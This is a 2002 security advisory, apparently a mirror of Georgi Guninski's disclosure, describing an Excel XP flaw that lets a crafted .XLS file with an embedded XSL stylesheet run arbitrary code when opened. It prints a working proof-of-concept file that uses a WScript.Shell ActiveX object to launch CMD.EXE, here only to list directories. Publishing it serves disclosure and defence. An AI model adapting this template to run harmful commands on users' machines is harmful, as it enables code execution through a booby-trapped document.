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securityvulnsSecurityvulnsSECURITYVULNS:DOC:2986
HistoryMay 27, 2002 - 12:00 a.m.

[NT] Excel XP XML Stylesheet Security Problem

2002-05-2700:00:00
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Excel XP XML Stylesheet Security Problem

SUMMARY

Excel XP provides an interface to such new technologies as XML and XSLT.
Unfortunately the Excel implementation flawed allowing an attacker to
cause a user opening an .XLS file to cause him to execute arbitrary code.

DETAILS

Consider this XLS file
------xls_sux.xls-----
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#?m$ux" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl&quot;&gt;
<xsl:script>
<![CDATA[ x=new ActiveXObject("WScript.Shell");
x.Run("%systemroot%\\SYSTEM32\\CMD.EXE /C DIR C:\\ /a /p /s"); ]]>
</xsl:script>
<msux>
msux
written by georgi guninski
</msux>
</xsl:stylesheet>

It contains both XML and a stylesheet in one file.

Note:
Excel does not give any warning to the user - just asks whether to use the
style sheet or not. The default option is not to display it with the
stylesheet.

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]>
Georgi Guninski.

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